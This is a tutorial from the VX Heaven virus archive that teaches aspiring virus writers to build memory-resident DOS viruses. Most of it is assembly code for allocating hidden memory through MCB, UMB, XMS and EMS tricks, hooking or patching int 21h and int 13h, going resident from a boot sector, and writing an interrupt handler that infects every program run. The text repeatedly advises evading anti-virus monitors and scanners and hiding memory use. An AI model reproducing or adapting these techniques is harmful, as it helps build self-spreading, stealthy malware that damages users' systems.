Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Guide to Resident Viruses

Cmdr PVC

[Back to index] [Comments]

It seems that there's a lot of aspiring virus writers out there who are spending time on anti-heuristic code, directory traversal code, and various other add-ons for their viruses. Unfortunately, few start work on resident viruses until they've released a few generic, nonresident appenders. In this tutorial, I'm hoping to show exactly how to write the critical parts of a functioning memory resident virus, and provide a few source code examples and explanations for most of the methods I'm documenting.

Why write a resident virus? Numerous reasons. Firstly, your virus will be faster spreading - you can code in the capability to infect files during any file access functions - even directory searches. It will hit the most-used files on the computer first. It won't depend on an infected file being copied to a floppy disk in order to spread. Secondly, residency opens the door for code which is simply not possible with a non-resident virus. Stealth, for instance, can be accomodated only in a resident virus. Boot sector, partition and multipartite viruses are almost exclusively memory resident - and those account for the overwhelming majority of all infections. Slow infection is only possible in resident viruses. Thirdly, the code isn't significantly more difficult to write. You can forget about traversing directories and checking if there's any floppies in the floppy drive. At the modest price of a memory installation routine, your virus gets a big advantage.

Allocating memory

First thing one must do when installing a into memory is allocate a chunk of memory to which the code can be written. This can be done in several ways. Some virus writers just find some free memory and write the virus there, but I don't recommend doing it, as it is extremely unreliable. Any successful virus will need to allocate memory.

I've thrown in a bunch of source codes to illustrate the methods I'm explaining. If anything appears cryptic, look more closely at those.

Base Memory Size Manipulation

This method is based on the fact that the base memory size in kilobytes is always stored as word at the offset 0:0413h in memory. It is then a simple task to subtract the necessary amount of memory from this and write your code there. This might not be the best way of allocating or the memory, but it's a secure place to keep your virus. Besides, this is the only way to allocate memory before DOS loads, so if you're going resident off the boot sector (or maybe a DOS kernel file) this is the only way to do it.

The decrease in memory size can be stealthed by trapping int 12h and adding whatever number of kilobytes was originally subtracted by the code. This will only work up to a point, but would fool a simple memory diagnostic program. All boot viruses and multipartite viruses use this, at least up to the point when command.com loads.

Anyway, here's the code:

	xor ax,ax
	mov ds,ax
	mov di,ax
	dec word ptr [413h]		; take one kilobyte
	int 12h				; get memory size in ax
	mov cl,6
	shl ax,cl			; find your segment
	mov es,ax			; put it into es
	push cs
	pop ds
	mov si,offset vstart		; start of your code
	mov cx,vsize			; size of your resident code
	rep movsb			; and copy it

Top Of The Interrupt Vector Table

If you pull out your interrupt list, you will notice that about half of the interrupts in the IVT aren't used very much. Thus, one could write your virus right over those vectors. It's not the smartest thing to do, as some programs do find a use for these interrupts. Therefore if something decides to modify the IVT or call an interrupt which has been overwritten, your code will get messed up or the system will crash.

The code for this is piss easy. Don't try fitting anything larger than 512 bytes in there either, if you do, you'll overwrite the BIOS data area. MG-1 was the first virus to use this technique, since then several others have made use of this.

	xor es,es
	mov di,200h			; set di to point to top half of the
					; interrupt vector table
	push cs
	pop ds
	mov si,offset vstart		; start of your resident code
	mov cx,vsize
	rep movsb			; just copy it

Memory Holes

The idea here is that a virus could possibly find an unused chunk of memory somewhere in the BIOS data area, among all the garbage conserved for downward compatibility with antiquated software. It's not a secure method by any means, and you might not find appropriate holes on every system you hit. Once again, the code has to be very tight - don't assume you can find anything bigger than 1k or so. The only real advantage of this method is that memory is not decreased. Try starting at 0040:0000h and searching there for a chunk of zeroes. A relatively safe location is the DOS scratch space at 0060:0000, it's 256 bytes long, and not used after the boot process. Tight code is the key here, though I suppose you could install some sort of loader in that space and store the virus body in the XMS or EMS as data. Else, you could write an interrupt handler there. See what you can make of it. This code always starts at segment boundaries and searches for a chunk of zeroes the size of your virus. This code is very simple though - it will go into an endless loop if you don't set some limits as to how many segments should be searched. If you want to improve on it, be my guest.

	mov ax,40h

find_hole:
	mov es,ax
	xor ax,ax
	mov di,ax			; es:di = 0040:0000h
	mov cx,vsize
	repe scasb			; are these zeroes?
	jcxz install			; if so, are there enough?
	mov ax,es			; nope.. next segment!
	inc ax
	jmp short find_hole

install:
	mov si,offset v_start
	mov cx,vsize
	xor di,di 
	rep movsb

Going Resident Via Int 27h

This is the cheesiest possible way to create a TSR virus. It's dead easy to do, and hasn't been used by viruses since the Stone Ages - it's trivial to detect. I'll tell you how to do it anyway. Just set all the interrupt vectors to your handlers, and adjust cs and dx as appropriate, then call int 27h. The only thing you must keep in mind is that DOS passes control to COMMAND.COM after int 27h is called. I won't bother providing code for this.

Allocating Memory With DOS Calls

This is a safe and very compatible way of allocating memory. However, it is very well known to anti-virus researchers, and will set off the alarm on just about any virus monitor out there. I'll tell you how to do it anyway. You request an impossible amount of memory, DOS tells you how much it would let you have, you allocate the memory you need. The following code show how to allocate a block for the virus's use with DOS calls.

	mov ah,4ah
	mov bx,0ffffh
	int 21h				; request ffffh paras of memory
	sub bx,vsize/10h+1		; this is paras again
	mov ah,48h
	int 21h
	mov ah,48h
	mov bx,vsize/10h+1
	int 21h				; your segment's in ax
	mov es,ax
	xor di,di
	push cs
	pop ds				; now ds=cs
	mov si,offset vstart
	mov cx,vsize
	rep movsb

	dec ax				; this makes the virus's MCB appear
	mov ds,ax			; as system code on a memory map
	mov word ptr [8h],'SC'		; (DOS 5.0+ only)

Direct Manipulation of the MCB Chain

This is an excellent method of allocating memory. It involves some twiddling with the MCB headers so that DOS thinks it's got less memory. All you need to do is find a suitable block and change the header. Stormbringer, Qark, and Terminator Z use this for going resident. So do the guys that wrote Creeping Death (Dir 2), except theirs is slightly different - they extend a block belonging to DOS and wrote their code there. Look at the Dir 2 source code if you're interested.

	mov ah,52h			; SYSVARS - get list of lists
	int 21h
	mov ax,es:[bx-2]		; address of the first MCB
	xor di,di			; (or you could use the block 1 para below
					; the PSP)
find_block:
	mov ds,ax
	cmp byte ptr [di],'Z'		; last block?
	je install

next_block:
	add ax,word ptr [di+3]		; on to the next block
	jmp short find_block

install:
	sub word ptr [di+3],vsize/10h+1
	add ax,word ptr [di+3]
	mov es,ax			; there's your segment
	push cs
	pop ds
	mov si,offset vstart		; recognise this yet?
	mov cx,vsize
	rep movsb

Patching in a Fake Block

You might have to use this technique if the last block in the chain is too small, or being used, or whatever. Now, you can't simply chop off a 'M' block, as this will tend to screw the whole MCB chain. However, you can adjust it. I don't know if any viruses use this, as I've just made it up. Here's the code. It will install the virus into any free block, patching it if necessary. You can be tricky and check if the last block suits your purposes first, but I'm not going to complicate things any further. Alternately, you could check how much free memory is available between the top of memory (TOM) and the last block, change the 'Z' block to an 'M' block and write in a new 'Z' block at the end of the old one.

	mov ah,52h			; SYSVARS - get list of lists
	int 21h
	mov ax,es:[bx-2]		; address of the first MCB
	xor di,di			; (or you could use the block 1 para below
					; the PSP)
find_block:
	mov ds,ax
	cmp word ptr [di+1],di
	jnz next_block
	cmp word ptr [di+3],vsize/10h+2
	jae patch

next_block:
	add ax,word ptr [di+3]		; on to the next block
	jmp short find_block

patch:
	cmp byte ptr [di],'Z'		; must not be the last block
	je last_block
	sub word ptr [di+3],vsize/10h+2 ; take an extra para
	add ax,word ptr [di+3]
	mov ds,ax
	mov byte ptr [di],'M'
	mov word ptr [di+1],8		; owned by DOS 
	mov word ptr [di+3],vsize/10h+1
	mov word ptr [di+8h],'SC'	; mark it as system code
	mov ax,ds
	inc ax
	jmp short write 

last_block:
	sub word ptr [di+3],vsize/10h+1
	add ax,word ptr [di+3]
write:
	mov es,ax
	push cs
	pop ds
	mov si,offset vstart
	mov cx,vsize
	rep movsb

Using a UMB Block

UMBs can be another good place to store your virus, as some virus scanners don't scan the UMB area. All one needs to do is find a suitable UMB block, and manipulate it in a similar fashion to a MCB. The format of the UMB is almost identical to MCB format, so you can handle both with one routine. UMBs are only present in DOS 5.0+, though.

	mov ah,52h
	int 21h
	lds di,es:[bx+12h]		; get first disk buffer in ds:di
	mov ax,word ptr [di+1fh]	; segment of first UMB
	inc ax
	jz no_UMB
	dec ax
	xor di,di
	mov ds,ax			; ds = segment of UMB

	[rest of code]

Note, the word at offset 1 in the UMB control block is does not hold the same value as the corresponding word in the MCB. Rather, it's the first available paragraph in the UMB. If the value is 0ah, it means the UMB control block is placed at the end of the UMB area. I'll be nice and give you more source code to calculate where in the UMB to write your virus. If this is buggy, deal with it.

	cmp word ptr [di+1],0ah
	je next_block

process_UMB:
	mov ax,word ptr [di+3]		; get total size of UMB in paras
	mov bx,word ptr [di+1]		; get first available para in UMB
	sub ax,bx
	cmp ax,vsize/10h+1		; enough space in the UMB?
	jnb install			; nope

next_block:
	mov ax,ds
	add ax,word ptr [di+3]
	mov ds,ax 
	jmp short process_UMB

install:
	add word ptr [di+1],vsize/10h+1 ; adjust control block
	mov ax,ds
	add ax,word ptr [di+1]		; find our segment
	mov es,ax
	push cs
	pop ds
	mov si,offset vstart
	mov cx,vsize
	rep movsb

The XMS Driver

Now this is not strictly a memory allocation strategy, but you might like to use the XMS driver either for allocating space in the UMB area or the HMA. First of all one must find the XMS driver entry point. The original entry point is a short jump followed by 3 nops. It's best to find the original entry point, of course, as an anti-virus monitor might decide to chain into the XMS driver chain and monitor suspicious memory allocation requests. Tracing it is a simple task, one simply follows the chain of far jump laid down by programs which have hooked into the chain. Here's a simple code tracer. To call the XMS driver directly, just set all the registers to whatever you desire and call the driver (HIMEM.SYS on most systems)

trace_XMS_driver proc
	pusha
	push es
	mov ax,4310h
	int 2fh				; es:bx

trace:
	cmp byte ptr es:[bx],0ebh	; short jump?
	je done
	cmp byte ptr es:[bx],0eah	; long jump?
	jne fail_trace
	mov ax,es
	add ax,es:[bx+3]
	add bx,es:[bx+1]
	mov es,ax
	jmp short trace

done:
	mov [XMS_driver+2],es
	add bx,es:[bx+1]
	mov [XMS_driver],bx
	clc
	jmp short trace_ok

fail_trace:
	stc

trace_ok:
	pop es
	popa
	ret

trace_XMS_driver endp

XMS_driver dd 0

HMA Usage

Things get trickier here. First of all, you need to know that the HMA is a memory area between 0ffff:0010f and 0ffff:ffffh. Now, since those segment-offset addresses can't be represented by a 20-bit number, but can still be addressed, roughly 64k is available for a virus's use. Unfortunately, quite a bit of code needs to be dedicated just to place the virus into the HMA and safely keep it there. A few problems arise with HMA use. For instance, an address line called a20 needs to be enabled to access the HMA (can be done by calling the XMS driver with the appropriate values). You can't point an interrupt vector into a 0ffff:xxxxh address, because a selfish program might disable the a20 address line, and the system will crash. I suppose you could find a hole in lower memory, and write in your interrupt handlers there - which would enable a20, call the proper interrupt handler in your virus and return. Q the Misanthrope has written a tutorial on this subject, so if you're interested, I recommend that you check it out.

XMS Usage

Extended memory is one place where large chunks of virus code can be stored. However, you can only store it as data - which means you'll have to keep a small loader somewhere in memory and swap your code into conventional memory to execute it. Still, there's some definite advantages to this method. No scanners scan the XMS, as it contains no directly executable code. The memory your virus takes up is only the size of your XMS loader - meaning that you can get a 7k virus to allocate only 512 bytes of conventional memory. You can also easily make your virus polymorphic in memory by simply generating a polymorphic XMS loader. Experiment! Here's a bit of code to show how to get a chunk of memory in the XMS area.

	mov ax,4300h			; check if XMS driver is installed
	int 2fh
	cmp al,80h
	jne error
	call trace_XMS_driver		; find the original XMS driver API
	jc error
	mov ah,09h			; allocate XMS block
	mov dx,4			; ask for 4k
	call dword ptr [XMS_driver]	; call the XMS driver
	or al,al
	jz error
	mov word ptr [XMS_handle],dx

[rest of code]

XMS_handle dw 0

Now, since segment-offset addresses can't be used for extended memory addressing, you'll need to set up a table (EMM structure) and use this table for moving code/data to and from XMS memory. Here's the format (out of Ralf Brown's Interrupt List).

EMM Table Structure

OffsetSizeDescription
00h dword Number of bytes to move (must be even)
04h word Source handle
06h dword Address within the source block
0ah word Destination handle
0ch dword Address within the destination block

If either source of destination handle is 0, then the dword address within the block is interpreted as a real mode address. To move something to the XMS area, set source handle to 0 and address within the source block to the absolute address of the bytes to move. Offset 0ah must hold the handle of the destination. To move bytes from the XMS area, simply make the source your XMS block, and the destination your real address. Then, point ds:si to the start of your table and call the XMS driver API with ah set to 0bh. As you can see, XMS might not be the most convenient place to chuck your virus, but it does open new possibilities. Look up all the XMS API functions, and experiment.

EMS Usage

This memory area is available on shitbox 8086 and 8088 systems (unlike XMS memory). It's similar to the XMS memory in that you can't directly run it or point interrupts into it (thus requiring a loader). This area can be accessed with EMM software, through a bunch of interrupt 67h functions. Here's the code for allocating some memory.

	mov ah,43h			; get handle and allocate memory
	mov bx,psize			; size of your virus in pages
	int 67h
	or ah,ah
	jnz error
	mov word ptr [EMS_handle],dx

[rest of code]

EMS_handle dw 0

Moving code to and from the EMS area requires a table (surprise surprise). I'll give you the format of this table (outta Ralf Brown's Int List). Point ds:si to this table and call interrupt 67h, with ah set to 57h. By the way, you can either move (when al equals 00h) or swap (al set to 01h) the addressed memory regions. Have fun with that.

EMS Copy Data Structure

OffsetSizeDescription
00h dword region length in bytes
04h byte source memory type (0 conventional, 1 EMS memory)
05h word source handle
07h word source initial offset
09h word source initial segment (if conventional memory) source page number (if EMS memory)
0bh byte destination memory type (0 conventional, 1 EMS memory)
0ch word destination handle
0eh word destination initial offset
10h word destination initial segment (if conventional memory) destination page number (if EMS memory)

The concept here is very similar to XMS paging - set the appropriate handle to 0 if it's conventional memory, else use the handle that your virus got handed out when you allocated EMS memory.

Trapping interrupts

Okay - your virus is in memory, you're on to the next step. You need to change some of the interrupt vectors to point to your virus rather than the appropriate interrupt handler. The reason for doing this is that whenever an interrupt is called, the virus can check what it is and do its business. Here's some ways of changing interrupt vectors to suit your purposes.

Using DOS Calls

DOS has two functions that can be used to get the interrupt vectors. Those are 35h (get interrupt vector) and 25h (set interrupt vector). This is probably the easiest way of hooking interrupts, but of course the anti-virus people have realised that they can trap these and mess around with the results. A big advantage of this method is that it's always guaranteed to work - even if the IVT is write protected. Under Windows 95 (DOS 7), interrupts hooked with this method often work better than those hooked directly. Here's the code for hooking int 21h (DOS services). Look the functions up in Ralf Brown's Interrupt List so that you know exactly how they work.

	mov ax,3521h
	int 21h
	mov word ptr [old_int21h],bx
	mov word ptr [old_int21h+2],es

	mov ax,2521h
	push cs
	pop ds
	mov dx,offset int21h_handler
	int 21h

Direct Manipulation

Once you know the format of the IVT, you can directly change the IVT entries for the interrupts you need. The IVT starts at address 0:0, is 1024 bytes long, and each 4 byte entry is the address to which control is passed when an interrupt is called.

	mov di,offset old_int21h
	mov si,21h*4
	xor ax,ax
	mov ds,ax
	movsw
	movsw
	mov ax,offset int21h_handler
	mov [si-4],ax
	mov [si-2],cs

Patching Code/Patching DOS

This method is quite inconspicuous (unless you do it under DOS 7 where it immediately hangs the system). The idea is that instead of modifying any vectors, you modify the code pointed to by the vectors. Here's the code.

	xor ax,ax
	mov es,ax
	mov si,word ptr es:[21h*4]
	mov ds,word ptr es:[21h*4+2]
	mov si,word ptr cs:[old_int21h]
	mov ds,word ptr cs:[old_int21h+2]
	mov di,offset old_code
	movsw
	movsw
	movsb
	mov di,si
	push ds
	pop es
	mov al,0eah
	stosb
	mov ax,offset int21h_handler
	stosw
	mov ax,cs
	stosw

old_code	db 5 dup (?)

old_int21h	dd 0

It gets more difficult than this, though. Suppose the first instruction that was overwritten was an iret, jmp, jmp short or some other opcode that's less than 5 bytes in length. This means that patching code in this manner may overwrite a chunk of code or data that has nothing to do with the interrupt. This can be solved by checking for those opcodes before patching anything.

Another thing to keep in mind when coding such a routine is that you will need to restore the original code on entry to your handler so you can call the appropriate interrupt without fucking up, and on exit, you must re-patch the same code to point to your virus - a minor (or major) pain in the ass.

Patching DOS is an excellent way to hook an interrupt - since all DOS calls pass though your handler. There's a serious danger associated with it though - it crashes DOS 7. Besides, if you write to ROM, where BIOS interrupts (interrupt 13h and suchlike), you won't hook the interrupt. Additional dangers include the fact that the DOS kernel might change, and your virus will be incompatible. But remember, you're writing a virus, and you have the creative license to write the weirdest code out there.

Hooking Interrupt 21h From The Boot Sector

This can be a problem, and is quite hard to work out yourself. When the boot sector (and presumably your boot sector virus) executes, all the DOS interrupts point to iret opcodes. If you hook interrupt 21h as soon as you're resident, it will be reset by DOS, and your virus will be bypassed. It's preferable to hook int 21h fairly early, as it will be monitored by all the anti-virus TSR monitors that are loaded up from autoexec.bat. So what can you do? One way is to hook the timer interrupt (08h or 1ch) and hooking int 21h after a certain number of ticks. Here's a sample handler:

int08h_handler:
		inc word ptr cs:[counter]
		cmp word ptr cs:[counter],1234h	; desired number of ticks
		je hook_int21h
		db 0eah				; jmp far opcode
old_int08h	dd 0 
counter		dw 0
[rest of code]

Another way is to check the start of the disk read buffer for the EXE header id - 'MZ'. Point your interrupt handler to the check routine until those characters appear at the start of the read buffer - that's when COMMAND.COM is being loaded from disk via int 13h. As soon as that happens, hook int 21h, and point int 13h to your int 13h handler.

int13h_check:
		cmp ah,02h
		je check_buffer

int13h_handler:

[rest of code]

return_13h:
		db 0eah
old_int13h	dd 0

check_buffer:
		call dword ptr [old_int13h]
		jc return_13h
		cmp word ptr es:[bx],'MZ'
		jne int13h_handler

[hook int 21h]

You could also check the int 21h vector on every int 13h call, and if it's changed, hook int 21h. Here's the code.

int13h_check:
		pusha
		push ds
		xor ax,ax
		mov ds,ax
		mov si,[21h*4]
		mov di,offset old_int21h
		cmpsw
		jne changed
		cmpsw
		jne changed

int13h_handler:

		[rest of code]

changed:
		[hook int 21h]
		[point the int 13h vector to int13h_handler]
		[jmp to int13_handler]

Checking the read buffer or tacking the int 21h check will screw up under some circumstances (under QEMM or DOS 7 for instance).

Yet another method is setting up an int 10h handler and as soon as an int 10h call is issued (clear screen or whatever), you revector int 13h. You should be able to work the code for this yourself.

Interrupt handlers

Finally, your virus should include a chunk of code to check what interrupt function is called, and if this function is in any way interesting to you, process it. Functions can be processed in two ways - changing some of the input values to suit the virus's needs, or calling the function from within the viral code and changing the output (here's where stealth can be implemented).

An ultra-simple interrupt handler might be this:

intxxh_handler:
		iret

or

intxxh_handler:
		jmp dword ptr cs:[old_intxxh]

Both do absolutely nothing - the only difference is that one returns control to the caller, and the other passes control to the appropriate interrupt. The first might be used as a simple critical error handler - just set the int 24h to point towards the iret, and no more annoying critical error messages during infection of write-protected floppies.

The second can be used as a skeleton for more complex code:

int21h_handler:
		cmp ah,4bh		; is ax=4bh? (load/execute program)
		je infect

return_21h:
		db 0eah			; machine code jmp far opcode
old_in21h	dd 0

infect:
		pushf
		pusha
		push ds

		[do infection]

		pop ds
		popa
		popf
		jmp return_21h

I hope I've communicated the idea here. Just look up on all the values DOS is called with, and write your interrupt handler. For instance, if you trap file execute, you can infect any file that is executed. If you trap file open and file close, you can implement basic stealth - disinfect the file on opening, reinfect on closing. A word of caution here - either don't call an interrupt with values that would be trapped by your interrupt handler, or issue a far call to the vector that way in place before you set up your handler.

I'm gonna wrap this tutorial up, it's getting too bloody long. I hope you've learnt something from it, and have been inspired to write your own memory resident virus. Greetings to all resident virus writers!

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org
deenesitfrplruua